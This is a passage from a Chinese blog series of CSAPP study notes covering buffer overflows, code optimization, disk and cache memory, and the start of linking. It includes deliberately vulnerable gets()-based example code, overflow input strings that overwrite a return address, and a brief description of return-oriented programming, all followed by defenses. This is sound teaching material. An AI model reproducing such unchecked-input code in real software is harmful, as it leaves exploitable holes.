    4006cf: 48 83 ec 18         sub   $0x18, %rsp
    4006d3: 48 89 e7            mov   %rsp, %rdi
    4006d6: e8 a5 ff ff ff      callq 400680 <gets>
    4006db: 48 89 e7            mov   %rsp, %rdi
    4006de: e8 3d fe ff ff      callq 400520 <puts@plt>
    4006e3: 48 83 c4 18         add   $0x18, %rsp
    4006e7: c3                  retq

# call_echo 部分
    4006e8: 48 83 ec 08         sub   $0x8, %rsp
    4006ec: b8 00 00 00 00      mov   $0x0, %eax
    4006f1: e8 d9 ff ff ff      callq 4006cf <echo>
    4006f6: 48 83 c4 08         add   $0x8, %rsp
    4006fa: c3                  retq


我们看 4006cf 这一行，可以发现实际上给 %rsp 分配了 0x18 的空间，所以可以容纳不止 4 个 char。

在调用 gets 函数之前（第 4006d6 行），内存中栈帧示意图为：
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结合上面代码可以看到，call_echo 栈帧中保存着调用之前执行指令的地址 4006f6，用于返回之后继续执行。我们输入字符串 01234567890123456789012 之后，栈帧中缓冲区被填充，如下：
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虽然缓冲区溢出了，但是并没有损害当前的状态，程序还是可以继续运行（也就是没有出现段错误），但是如果再多一点的话，也就是输入 0123456789012345678901234，内存中的情况是这样的：
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就把返回地址给覆盖掉了，当 echo 执行完成要回到 call_echo 函数时，就跳转到 0x400034 这个内容未知的地址中了。也就是说，通过缓冲区溢出，我们可以在程序返回时跳转到任何我们想要跳转到的地方！攻击者可以利用这种方式来执行恶意代码！

那么我们现在来看看，怎么处理缓冲区溢出攻击，有几种方式：


	好好写代码，尽量不让缓冲区异常

	程序容易出问题，那么提供系统层级的保护

	编译器也可以来个认证(stack canaries)



第一种，避免缓冲区溢出，我们用更安全的方法，如：fgets, strncpy 等等。

第二种，栈的位置不确定，让缓冲区溢出没办法影响到，并且每次位置都不一样，就不怕被暴力破解。并且也可以把一段内存标记为只读，那么就避免因为缓冲区溢出而导致的重写。

第三种，使用认证机制(Stack Canaries)。简单来说，就是在超出缓冲区的位置加一个特殊的值，如果发现这个值变化了，那么就知道出问题了。

但是，除了缓冲区溢出，还有另一种攻击的方式，称为返回导向编程[4]。可以利用修改已有的代码，来绕过系统和编译器的保护机制，攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列（称为Gadgets）。每一段 gadget 通常结束于 return 指令，并位于共享库代码中的子程序。系列调用这些代码，攻击者可以在拥有更简单攻击防范的程序内执行任意操作。

具体利用缓冲区进行攻击的例子，会在【读厚 CSAPP】III Attack Lab 中进行讲解，这里不再赘述。

程序优化

前面了解了许多机器代码以及程序执行机制的相关知识，这一节我们来学习如何利用这些性质来优化代码。


	用好编译器的不同参数设定

	写对编译器友好的代码，尤其是过程调用和内存引用，时刻注意内层循环

	根据机器来优化代码，包括利用指令级并行、避免不可以预测的分支以及有效利用缓存



通用技巧

即使是常数项系数的操作，同样可能影响性能。性能的优化是一个多层级的过程：算法、数据表示、过程和循环，都是需要考虑的层次。于是，这就要求我们需要对系统有一定的了解，例如：


	程序是如何编译和执行的

	现代处理器和内存是如何工作的

	如何衡量程序的性能以及找出瓶颈

	如何保持代码模块化的前提下，提高程序性能



最根源的优化是对编译器的优化，比方说再寄存器分配、代码排序和选择、死代码消除、效率提升等方面，都可以由编译器做一定的辅助工作。

但是因为这毕竟是一个自动的过程，而代码本身可以非常多样，在不能改变程序行为的前提下，很多时候编译器的优化策略是趋于保守的。并且大部分用来优化的信息来自于过程和静态信息，很难充分进行动态优化。 

接下来会介绍一些我们自己需要注意的地方，而不是依赖处理器或者编译器来解决。

代码移动

如果一个表达式总是得到同样的结果，最好把它移动到循环外面，这样只需要计算一次。编译器有时候可以自动完成，比如说使用 -O1 优化。一个例子：

void set_row(double *a, double *b, long i, long n){
    long j;
    for (j = 0; j < n; j++){
        a[n*i + j] = b[j];
    }
}


这里 n*i 是重复被计算的，可以放到循环外面

long j;
int ni = n * i;
for (j = 0; j < n; j++){
    a[ni + j] = b[j];
}


减少计算强度

用更简单的表达式来完成用时较久的操作，例如 16*x 就可以用 x << 4 代替，一个比较明显的例子是，可以把乘积转化位一系列的加法，如下：

for (i = 0; i < n; i++){
    int ni = n * i;
    for (j = 0; j < n; j++)
        a[ni + j] = b[j];
}


可以把 n*i 用加法代替，比如：

int ni = 0;
for (i = 0; i < n; i++){
    for (j = 0; j < n; j++)
        a[ni + j] = b[j];
    ni += n;
}


公共子表达式

可以重用部分表达式的计算结果，例如：

/* Sum neighbors of i, j */
up =    val[(i-1)*n + j  ];
down =  val[(i+1)*n + j  ];
left =  val[i*n     + j-1];
right = val[i*n     + j+1];
sum = up + down + left + right;


可以优化为

long inj = i*n + j;
up =    val[inj - n];
down =  val[inj + n];
left =  val[inj - 1];
right = val[inj + 1];
sum = up + down + left + right;


虽然说，现代处理器对乘法也有很好的优化，但是既然可以从 3 次乘法运算减少到只需要 1 次，为什么不这样做呢？蚂蚁再小也是肉嘛。

小心过程调用

我们先来看一段代码，找找有什么问题：

void lower1(char *s){
    size_t i;
    for (i = 0; i < strlen(s); i++)
        if (s[i] >= 'A' && s[i] <= 'Z')
            s[i] -= ('A' - 'a');
}


问题在于，在字符串长度增加的时候，时间复杂度是二次方的！每次循环中都会调用一次 strlen(s)，而这个函数本身需要通过遍历字符串来取得长度，因此时间复杂度就成了二次方。

可以怎么优化呢？简单，那么只计算一次就好了：

void lower2(char *s){
    size_t i;
    size_t len = strlen(s);
    for (i = 0; i < len; i++)
        if (s[i] >= 'A' && s[i] <= 'Z')
            s[i] -= ('A' - 'a');
}


为什么编译器不能自动把这个过程调用给移到外面去呢？

前面说过，编译器的策略必须是保守的，因为过程调用之后所发生的事情是不可控的，所以不能直接改变代码逻辑，比方说，假如 strlen 这个函数改变了字符串 s 的长度，那么每次都需要重新计算。如果移出去的话，就会导致问题。

所以很多时候只能靠程序员自己进行代码优化。

注意内存问题

接下来我们看另一段代码及其汇编代码

// 把 nxn 的矩阵 a 的每一行加起来，存到向量 b 中
void sum_rows1(double *a, double *b, long n)
{
    long i, j;
    for (i = 0; i < n; i++)
    {
        b[i] = 0;
        for (j = 0; j < n; j++)
            b[i] += a[i*n + j];
    }
}


对应的汇编代码为

# sum_rows1 的内循环
.L4:
    movsd   (%rsi, %rax, 8), %xmm0  # 浮点数载入
    addsd   (%rdi), %xmm0           # 浮点数加
    movsd   %xmm0, (%rsi, %rax, 8)  # 浮点数保存
    addq    $8, %rdi
    cmpq    %rcx, %rdi
    jne     .L4


可以看到在汇编中，每次都会把 b[i] 存进去再读出来，为什么编译器会有这么奇怪的做法呢？因为有可能这里的 a 和 b 指向的是同一块内存地址，那么每次更新，都会使得值发生变化。但是中间过程是什么，实际上是没有必要存储起来的，所以我们引入一个临时变量，这样就可以消除内存引用的问题。

// 把 nxn 的矩阵 a 的每一行加起来，存到向量 b 中
void sum_rows2(double *a, double *b, long n)
{
    long i, j;
    for (i = 0; i < n; i++)
    {
        double val = 0;
        for (j = 0; j < n; j++)
            val += a[i*n + j];
        b[i] = val;
    }
}


对应的汇编代码为

# sum_rows2 内循环
.L10:
    addsd   (%rdi), %xmm0   # 浮点数载入 + 加法
    addq    $9, %rdi
    cmpq    %rax, %rdi
    jne     .L10


可以看到，加入了临时变量后，解决了奇怪的内存问题，生成的汇编代码干净了许多。

处理条件分支

这个问题，如果不是对处理器执行指令的机制有一定了解的话，可能会难以理解。

现代处理器普遍采用超标量设计，也就是基于流水线来进行指令的处理，也就是说，当执行当前指令时，接下来要执行的几条指令已经进入流水线的处理流程了。

这个很重要，对于顺序执行来说，不会有任何问题，但是对于条件分支来说，在跳转指令时可能会改变程序的走向，也就是说，之前载入的指令可能是无效的。这个时候就只能清空流水线，然后重新进行载入。为了减少清空流水线所带来的性能损失，处理器内部会采用称为『分支预测』的技术。

比方说在一个循环中，根据预测，可能除了最后一次跳出循环的时候会判断错误之外，其他都是没有问题的。这就可以接受，但是如果处理器不停判断错误的话（比方说代码逻辑写得很奇怪），性能就会得到极大的拖累。

分支问题有些时候会成为最主要的影响性能的因素，但有的时候其实很难避免。

总结

这一讲的内容比较多，我们从 CPU 架构入手，了解了处理器如何执行指令，继而通过学习汇编，对寻址和计算有了基本的认识。然后详细说明了汇编代码中的流程控制和过程调用。接着通过了解数据在内存中的存储方式，介绍了缓冲区溢出相关的内容。最后综合所有内容，对具体代码的编写，给出了一些优化建议。

部分内容需要细致阅读几次才能完全理解，如果仍然不理解也不用过于担心，在『读厚』部分我会通过具体的例子来详细说明这部分的内容。

参考链接


	Intel 8086

	分支预测器

	Intel® 64 and IA-32 Architectures Software Developer’s Manual

	返回导向编程
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        我们知道，速度越快的存储，价格也就越贵。计算机作为工程的结晶，是如何从一条规则出发，做到『物美价廉』的呢？这条规则又是什么呢？这一讲我们从不同的存储讲起，看看『带着镣铐跳舞』的最高境界。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	了解存储相关的概念

	理解传统机械硬盘的工作机制以及如何通过总线进行数据传输

	掌握局部性原理

	了解内存的不同层级以及具体的应用方法

	掌握缓存的机制，如何存储、载入和替换



缓存是一个非常精妙的系统，利用有限的资源给系统带来了显著的性能提升。这一讲前半部分主要是存储系统相关的概念介绍，之后我们会深入研究缓存系统并用实际的例子来学习如何最大程度利用好缓存。

概念学习

随机存取存储器

了解存储设备所用的技术以及发展趋势，对我们理解内存层级背后的原因很有帮助。

随机存取存储器(RAM, Random-Access Memory) 有两种类型：SRAM(Static RAM) 和 DRAM(Dynamic RAM)，SRAM 非常快，也不需要定期刷新，通常用在处理器做缓存，但是比较贵；DRAM 稍慢一点（大概是 SRAM 速度的十分之一），需要刷新，通常用作主内存，相比来说很便宜（是 SRAM 价格的百分之一）。

无论是 DRAM 还是 SRAM，一旦不通电，所有的信息都会丢失。如果想要让数据持久化，可以考虑 ROM, PROM, EPROM, EEPROM 等介质。固件程序会存储在 ROM 中（比如 BIOS，磁盘控制器，网卡，图形加速器，安全子系统等等）。另外一个趋势就是 SSD 固态硬盘，取消了机械结构，更稳定速度更快更省电。

传统机械硬盘

虽然现在越来越多电脑已经改为使用固态硬盘，但是还是有必要了解一下硬盘的组成的。传统的机械硬盘有许多不同的部件：
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机械硬盘有许多片磁盘(platter)组成，每一片磁盘有两面；每一面由一圈圈的磁道(track)组成，而每个磁道会被分隔成不同的扇区(sector)。这里概念层层递进，可以结合下图仔细辨析清楚。
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上图是一个磁盘的视图，多个磁盘组合起来是这样的：
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硬盘的容量指的是最大能存储的比特数，通常用 GB 来做单位。1 GB 相当于 10 的 9 次方个 Byte。与硬盘的结构分层类似，容量取决于下面三个方面：


	记录密度(bits/in)：track 中 1 英寸能保存的字节数

	磁道密度(tracks/in)：1 英寸直径能保存多少条 track

	Areal 密度(bits/in 的平方)：上面两个数值的乘积



现在硬盘会把相邻的若干个磁道切分成小块，每一块叫做记录区(recording zone)。记录区中的每条磁道都包含同样数量的扇区(sector)；但是每个记录区中包含的扇区和磁道的数目是不一样的，外层的更多，内层的更少；正因为如此，我们计算容量是，用的是平均的数值。

容量 Capacity = 每个扇区的字节数(bytes/sector) x 磁道上的平均扇区数(avg sectors/track) x 磁盘一面的磁道数(tracks/surface) x 磁盘的面数(surfaces/platter) x 硬盘包含的磁盘数(platters/disk)

举个例子，假如一个硬盘有：


	512 bytes/sector

	300 sectors/track (平均)

	20000 tracks/surface

	2 surfaces/platter

	5 platters/disk



总的容量为 = 512 x 300 x 20000 x 2 x 5 = 30,720,000,000 = 30.72 GB
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假设我们现在已经从蓝色区域读取完了数据，接下来需要从红色区域读，首先需要寻址，把读取的指针放到红色区域所在的磁道，然后等待磁盘旋转，旋转到红色区域之后，才可以开始真正的数据传输过程。

总的访问时间  Taccess =  寻址时间 Tavg seek + 旋转时间 Tavg rotation + 传输时间 Tavg transfer


	寻址时间 Tavg seek 因为物理规律的限制，一般是 3-9 ms

	旋转延迟 Tavg rotation 取决于硬盘具体的转速，一般来说是 7200 RPM

	传输时间 Tavg tranfer 就是需要读取的扇区数目



举个例子，假设转速是 7200 RPM，平均寻址时间 9ms，平均每个磁道的 sector 数目是 400，那么我们有：


	Tavg rotation = 1/2 x (60 secs / 7200 RPM) x 1000 ms/sec = 4 ms

	Tavg transfer = 60 / 7200 RPM x 1/400 secs/track x 1000 ms/sec = 0.02 ms

	Taccess = 9 ms + 4 ms + 0.02 ms



从这里可以看出，主要决定访问时间的是寻址时间和旋转延迟；读取一个扇区的第一个比特是非常耗时的，之后的都几乎可以忽略不计；硬盘比 SRAM 慢 40,000 倍，比 DRAM 慢 2500 倍。

最后需要知道的就是逻辑分区和实际的物理分区的区别，为了使用方便，会用连续的数字来标志所有可用的扇区，具体的映射工作由磁盘控制器完成。

固态硬盘

接下来介绍一下固态硬盘，内部结构如下
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固态硬盘中分成很多的块(Block)，每个块又有很多页(Page)，大约 32-128 个，每个页可以存放一定数据（大概 4-512KB），页是进行数据读写的最小单位。但是有一点需要注意，对一个页进行写入操作的时候，需要先把整个块清空（设计限制），而一个块大概在 100,000 次写入之后就会报废。

与传统的机械硬盘相比，固态硬盘在读写速度上有很大的优势。但是因为设计本身的约束，连续访问会比随机访问快，而且如果需要写入 Page，那么需要移动其他 Page，擦除整个 Block，然后才能写入。现在固态硬盘的读写速度差距已经没有以前那么大了，但是仍然有一些差距。

不过与机械硬盘相比，固态硬盘存在一个具体的寿命限制，价格也比较贵，但是因为速度上的优势，越来越多设备开始使用固态硬盘。

总线

总线是用来传输地址、数据和控制信号的一组平行的电线，通常来说由多个设备共享，类似于不同城市之间的高速公路，可以传输各类数据。CPU 通过总线和对应的接口来从不同的设备中获得所需要的数据，放入寄存器中等待运算，像下面这样：
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假设 CPU 需要从硬盘中读取一些数据，会给定指令，逻辑块编号和目标地址，并发送给磁盘控制器。然后磁盘控制器会读取对应的数据，并通过 DMA(direct memory access)把数据传输到内存中；传输完成后，磁盘控制器通过中断的方式通知 CPU，然后 CPU 完成之后的工作。

总线上连接的各个设备，其访问速度有天壤之别，不同的技术发展速度不同，更加剧了这个情况
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比方说磁盘的读写速度，30 年大概只提高了一个数量级多一点，所以固态硬盘的出现，以下拯救了劳苦大众（提高了两个数量级），DRAM 的发展，一路从 DDR12345 发展来，速度大概提高了一个数量级，不过 SRAM 则是在同一个起点愣是多跑了一个数量级，总体来说是跟着 CPU 的发展走的。不过 CPU 的发展在 2003 年也遇到了问题（单个核心基本到极限），不过多核的出现以及技术优化，总体来说还是使得执行速度越来越快。

那么这么大的时间差距，怎么办呢？难道根据木桶理论，都要取决于最慢的那个吗？不一定！局部性原理(Locality)可以在一定程度上拯救世界。

局部性原理 Locality

局部性的思路很简单[2]：


	时间局部性(Temporal Locality): 如果一个信息项正在被访问，那么在近期它很可能还会被再次访问。程序循环、堆栈等是产生时间局部性的原因。

	空间局部性(Spatial Locality): 在最近的将来将用到的信息很可能与现在正在使用的信息在空间地址上是临近的

	顺序局部性(Order Locality): 在典型程序中，除转移类指令外，大部分指令是顺序进行的。顺序执行和非顺序执行的比例大致是5:1。此外，对大型数组访问也是顺序的。指令的顺序执行、数组的连续存放等是产生顺序局部性的原因。



举个例子：

sum = 0;
for (i = 0; i < n; i++){
    sum += a[i];
}
return sum;


这里每次循环都会访问 sum 是满足时间局部性的；数组的访问是连续的，属于空间局部性。

根据这个特性，在写遍历数组的时候（尤其是高维），尤其要注意按照内存排列顺序来访问，不然性能会惨不忍睹。

存储体系 Memory Hierarchy

一种介质的速度越快就会越贵，同时也消耗更多的电量，所以一般容量比较小。而 CPU 和内存之间的速度差距越来越大，所以好的程序都会尽可能利用局部性。而根据这些特性，引申出了安排存储的方式，称为金字塔式存储体系(Memory Hierarch)。
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这里就涉及到一个技术：缓存。缓存可以看作是把大且缓慢的设备中的数据的一部分拿出来存储到其中的更快的存储设备。在金字塔式存储体系[3]中，每一层都可以看作是下一层的缓存。利用局部性原理，程序会更倾向于访问第 k 层的数据，而非第 k+1 层，这样就减少了访问时间。

通过下表我们可以了解更多细节：




	缓存类型
	缓存内容
	缓存位置
	延迟(时钟周期)
	管理者





	寄存器
	4-8 字节的字
	CPU 内核
	0
	编译器



	TLB
	地址翻译
	芯片 TLB
	0
	内存管理单元



	L1 缓存
	64 字节的块
	芯片 L1 缓存
	4
	硬件



	L2 缓存
	64 字节的块
	芯片 L2 缓存
	10
	硬件



	虚拟内存
	4 KB 的页
	主存
	100
	硬件+操作系统



	缓冲区缓存
	文件的部分内容
	主存
	100
	操作系统



	磁盘缓存
	磁盘扇区
	磁盘控制器
	100,000
	磁盘固件



	网络缓冲区缓存
	文件的部分内容
	本地磁盘
	10,000,000
	NFS 客户端



	浏览器缓存
	网页
	本地磁盘
	10,000,000
	网络浏览器



	Web 缓存
	网页
	远程服务器磁盘
	1,000,000,000
	Web 代理服务器





存储体系的设计，可以说是利用最便宜的存储的价格，提供了最快速的存储的性能。在我看来真的是做到了『又要马儿跑，又要马儿不吃草』！在各种限制条件下能够找到如此优美的解决方案，真可谓『带着镣铐跳舞』的最高境界！

这里我们举一个具体的例子来感受一下存储体系的设计。假设我们有一个包含 20 个元素的数组，而目前在高速缓存中保存着前 10 个元素，那么在访问数组元素的时候，如果我们只用到前 5 个，那么都可以从高速缓存中获取，这种情况就叫做『缓存命中』，要比内存的访问快得多。而如果访问了缓存中没有的元素，就需要从内存中获取了，由于高速缓存大小的限制，还需要对其中的元素进行替换（具体之后会介绍）。

缓存未命中的类型

缓存未命中有三种，这里进行简要介绍


	强制性失效(Cold/compulsory Miss): CPU 第一次访问相应缓存块，缓存中肯定没有对应数据，这是不可避免的

	冲突失效(Confilict Miss): 在直接相联或组相联的缓存中，不同的缓存块由于索引相同相互替换，引起的失效叫做冲突失效
	假设这里有 32KB 直接相联的缓存

	如果有两个 8KB 的数据需要来回访问，但是这两个数组都映射到相同的地址，缓存大小足够存储全部的数据，但是因为相同地址发生了冲突需要来回替换，发生的失效则全都是冲突失效（第一次访问失效依旧是强制性失效），这时缓存并没有存满





	容量失效(Capacity Miss): 有限的缓存容量导致缓存放不下而被替换，被替换出去的缓存块再被访问，引起的失效叫做容量失效
	假设这里有 32KB 直接相联的缓存

	如果有一个 64KB 的数组需要重复访问，数组的大小远远大于缓存大小，没办法全部放入缓存。第一次访问数组发生的失效全都是强制性失效。之后再访问数组，再发生的失效则全都是容量失效，这时缓存已经存满，容量不足以存储全部数据







深入理解高速缓冲存储器 Cache Memory

高速缓存存储器(Cache Memory)是 CPU 缓存系统甚至是金字塔式存储体系中最有代表性的缓存机制，前面我们了解了许多概念，这一节我们具体来看看高速缓存存储器是如何工作的。

首先要知道的是，高速缓存存储器是由硬件自动管理的 SRAM 内存，CPU 会首先从这里找数据，其所处的位置如下（蓝色部分）：
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然后我们需要关注高速缓冲存储器的三个关键组成部分（注意区分大小写）：


	S 表示集合(set)数量

	E 表示数据行(line)的数量

	B 表示每个缓存块(block)保存的字节数目



在图上表示出来就是
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所以缓存中存放数据的空间大小为：

$$C = S \times E \times B $$

实际上可以理解为三种层级关系，对应不同的索引，这样分层的好处在于，通过层级关系简化搜索需要的时间，并且和字节的排布也是一一对应的（之后介绍缓存的时候就体现得更加明显）。

当处理器需要访问一个地址时，会先在高速缓冲存储器中进行查找，查找过程中我们首先在概念上把这个地址划分成三个部分：
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读取

具体在从缓存中读取一个地址时，首先我们通过 set index 确定要在哪个 set 中寻找，确定后利用 tag 和同一个 set 中的每个 line 进行比对，找到 tag 相同的那个 line，最后再根据 block offset 确定要从 line 的哪个位置读起（这里的而 line 和 block 是一个意思）。

当 E=1 时，也就是每个 set 只有 1 个 line 的时候，称之为直接映射缓存(Direct Mapped Cache)，如下图所示
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这种情况下，因为每个 set 对应 1 个 line，反过来看，1 个 line 就需要一个 set，所以 set index 的位数就会较多（和之后的多路映射对比）。具体的检索过程就是先通过 set index 确定哪个 set，然后看是否 valid，然后比较那个 set 里唯一 line 的 tag 和地址的 t bits 是否一致，就可以确定是否缓存命中。

命中之后根据 block offset 确定偏移量，因为需要读入一个 int，所以会读入 4 5 6 7 这四个字节（假设缓存是 8 个字节）。如果 tag 不匹配的话，这行会被扔掉并放新的数据进来。

然后我们来看一个具体的例子，假设我们的寻址空间是 M=16 字节，也就是 4 位的地址，对应 B=2, S=4, E=1，我们按照如下顺序进行数据读取：


	0 00 0, miss

	0 00 1, hit

	0 11 1, miss

	1 00 0, miss

	0 00 0, miss



缓存中的具体情况是，这里 x 表示没有任何内容

       v  Tag   Block
Set 0  1   0    M[0-1]
Set 1  x   x      x
Set 2  x   x      x
Set 3  1   0    M[6-7]


缓存的大小如图所示，对应就是有 4 个 set，所以需要 2 位的 set index，所以进行读入的时候，会根据中间两位来确定在哪个 set 中查找，其中 8 和 0，因为中间两位相同，会产生冲突，导致连续 miss，这个问题可以用多路映射来解决。

当 E 大于 1 时，也就是每个 set 有 E 个 line 的时候，称之为 E 路联结缓存。这里每个 set 有两个 line，所以就没有那么多 set，也就是说 set index 可以少一位（集合数量少一倍）。

再简述一下整个过程，先从 set index 确定那个 set，然后看 valid 位，接着利用 t bits 分别和每个 line 的 tag 进行比较，如果匹配则命中，那么返回 4 5 位置的数据，如果不匹配，就需要替换，可以随机替换，也可以用 least recently used(LRU) 来进行替换。

我们再用刚才的例子来看看是否会增加命中率，这里假设我们的寻址空间是 M=16 字节，也就是 4 位的地址，对应 B=2, S=2, E=2，我们按照如下顺序进行数据读取：


	0 00 0, miss

	0 00 1, hit

	0 11 1, miss

	1 00 0, miss

	0 00 0, hit



缓存中的具体情况是，这里 x 表示没有任何内容

       v   Tag   Block
Set 0  1   00    M[0-1]
Set 0  1   10    M[8-9]
Set 1  1   01    M[6-7]
Set 1  0   x     x


可以看到因为每个 set 有 2 个 line，所以只有 2 个 set，set index 也只需要 1 位了，这个情况下即使 8 和 0 的 set index 一致，因为一个 set 可以容纳两个数据，所以最后一次访问 0，就不会 miss 了。

写入

在整个存储层级中，不同的层级可能会存放同一个数据的不同拷贝（如 L1, L2, L3, 主内存, 硬盘）。如果发生写入命中的时候（也就是要写入的地址在缓存中有），有两种策略：


	Write-through: 命中后更新缓存，同时写入到内存中

	Write-back: 直到这个缓存需要被置换出去，才写入到内存中（需要额外的 dirty bit 来表示缓存中的数据是否和内存中相同，因为可能在其他的时候内存中对应地址的数据已经更新，那么重复写入就会导致原有数据丢失）



在写入 miss 的时候，同样有两种方式：


	Write-allocate: 载入到缓存中，并更新缓存（如果之后还需要对其操作，这个方式就比较好）

	No-write-allocate: 直接写入到内存中，不载入到缓存 



这四种策略通常的搭配是：


	Write-through + No-write-allocate

	Write-back + Write-allocate



其中第一种可以保证绝对的数据一致性，第二种效率会比较高（通常情况下）。

总结

这一讲我们从 RAM 和硬盘讲起，简单了解了计算机系统中用来存储数据的硬件，然后主要介绍了高速缓冲存储器(Cache Memory)的结构和工作方式。

说到底，缓存就是要尽量利用局部性原理，这个是一个非常值得探讨的话题，会在【读厚 CSAPP】IV Cache Lab用具体实例中详细介绍。

参考链接


	随机存取存储器

	局部性原理

	CPU缓存





            
            
              
                【不周山之读薄 CSAPP】肆 链接
              
            
          


      
      

      
        不同的代码是如何被拼到一起协同工作的呢？所谓的静态库，动态库又是什么？编译和链接的不同在哪里？这一讲我们结合一丁点编译原理的内容，来说说链接那点事儿。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	理解从源代码转换到计算机可执行的二进制代码之间需要经过的处理

	理解编译过程

	理解链接过程，尤其是程序的组织部分

	理解库的使用方式

	理解 Library Interpostion 的机制及几种不同的类型



使用集成开发环境(IDE)很方便，但是在『执行』的按钮背后，其实发生了太多太多的事情。当然，作为初学者，一开始避开过多的复杂专注于学习编写代码无可厚非，但是该学的永远逃不掉，不了解自己的代码是如何一步步成为计算机课执行的程序的，就很难在遇到各种疑难杂症的时候快速定位问题所在。另外，无论是编译器还是链接器，都可以通过不同的参数进行各种定制，如果不搞清楚，恐怕只能永远依赖 IDE 了。IDE 很好，但任何东西都不能过分依赖，真正合理的应该是庖丁解牛后，挑选最适合自己的。

编译

C 语言代码最终成为机器可执行的程序，会像流水线上的产品一样接受各项处理：


	预处理器：将 C 语言代码(da.c)转化成 da.i 文件(gcc –E)，对应于预处理命令 cpp

	编译器：C 语言代码(da.c, wang.c)经过编译器的处理(gcc -0g -S)成为汇编代码(da.s, wang.s)

	汇编器：汇编代码(da.s, wang.s)经过汇编器的处理(gcc 或 as)成为对象程序(da.o, wang.o)

	链接器：对象程序(da.o, wang.o)以及所需静态库(lib.a)经过链接器的处理(gcc 或 ld)最终成为计算机可执行的程序

	加载器：将可执行程序加载到内存并进行执行，loader 和 ld-linux.so



编译是指编译器读取源程序（字符流），对之进行词法和语法的分析，将高级语言指令转换为功能等效的汇编代码。源文件的编译过程包含两个主要阶段：

第一个阶段是预处理阶段，在正式的编译阶段之前进行。预处理阶段将根据已放置在文件中的预处理指令来修改源文件的内容。主要是以下几方面的处理：


	宏定义指令，如 #define a b 这种伪指令，预编译所要做的是将程序中的所有 a 用 b 替换，但作为字符串常量的 a 则不被替换。还有 #undef，则将取消对某个宏的定义，使以后该串的出现不再被替换

	条件编译指令，如 #ifdef, #ifndef, #else, #elif, #endif等。这些伪指令的引入使得程序员可以通过定义不同的宏来决定编译程序对哪些代码进行处理。预编译程序将根据有关的文件，将那些不必要的代码过滤掉

	头文件包含指令，如 #include "FileName" 。该指令将头文件中的定义统统都加入到它所产生的输出文件中，以供编译程序对之进行处理

	特殊符号，预编译程序可以识别一些特殊的符号。例如在源程序中出现的 LINE 标识将被解释为当前行号（十进制数），FILE 则被解释为当前被编译的C源程序的名称。预编译程序对于在源程序中出现的这些串将用合适的值进行替换



头文件的目的主要是为了使某些定义可以供多个不同的C源程序使用，这涉及到头文件的定位即搜索路径问题。头文件搜索规则如下：


	所有头文件的搜寻会从 -I 开始

	然后找环境变量 C_INCLUDE_PATH, CPLUS_INCLUDE_PATH, OBJC_INCLUDE_PATH 指定的路径

	再找默认目录(/usr/include, /usr/local/include, /usr/lib/gcc-lib/i386-linux/2.95.2/include 等等)



第二个阶段编译、优化阶段，编译程序所要作得工作就是通过词法分析和语法分析，在确认所有的指令都符合语法规则之后，将其翻译成等价的中间代码表示或汇编代码。 

汇编实际上指汇编器(as)把汇编语言代码翻译成目标机器指令的过程。目标文件中所存放的也就是与源程序等效的目标的机器语言代码。目标文件由段组成。通常一个目标文件中至少有两个段：


	代码段：该段中所包含的主要是程序的指令。该段一般是可读和可执行的，但一般却不可写

	数据段：主要存放程序中要用到的各种全局变量或静态的数据。一般数据段都是可读，可写，可执行的



我们来看一个具体的例子，假设我们有这么两个代码文件，其中 main 函数调用了另一个函数 sum:

// 文件 main.c
int sum(int *a, int n);

int array[2] = {1, 2};

int main()
{
    int val = sum(array, 2);
    return val;
}

// -----------------------------------------
// 文件 sum.c
int sum(int *a, int n)
{
    int i, s = 0;
    for (i = 0; i < n; i++)
        s += a[i];
    
    return s;
}


我们用下面的命令来编译执行：

linux> gcc -Og -o prog main.c sum.c
linux> ./prog


编译器实际上会分别编译不同的源代码，生成 .o 文件，具体把这些文件链接在一起的是 Linker 链接器，整个过程如下图所示：
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编译器部分这里不做过多介绍，以后有机会会专门写文章来说明，接下来主要说说链接器。

链接基本知识


为什么要使用链接器？



有如下两个原因。


	模块化角度考虑。我们可以把程序分散到不同的小的源代码中，而不是一个巨大的类中。这样带来的好处是可以复用常见的功能/库，比方说 Math library, standard C library.

	效率角度考虑。改动代码时只需要重新编译改动的文件，其他不受影响。而常用的函数和功能可以封装成库，提供给程序进行调用（节省空间）




链接器做了什么？



主要负责做两件事情

第一步：符号解析 Symbol resolution

我们在代码中会声明变量及函数，之后会调用变量及函数，所有的符号声明都会被保存在符号表(symbol table)中，而符号表会保存在由汇编器生成的 object 文件中（也就是 .o 文件）。符号表实际上是一个结构体数组，每一个元素包含名称、大小和符号的位置。

在 symbol resolution 阶段，链接器会给每个符号应用一个唯一的符号定义，用作寻找对应符号的标志。

第二步：重定位 Relocation

这一步所做的工作是把原先分开的代码和数据片段汇总成一个文件，会把原先在 .o 文件中的相对位置转换成在可执行程序的绝对位置，并且据此更新对应的引用符号（才能找到新的位置）

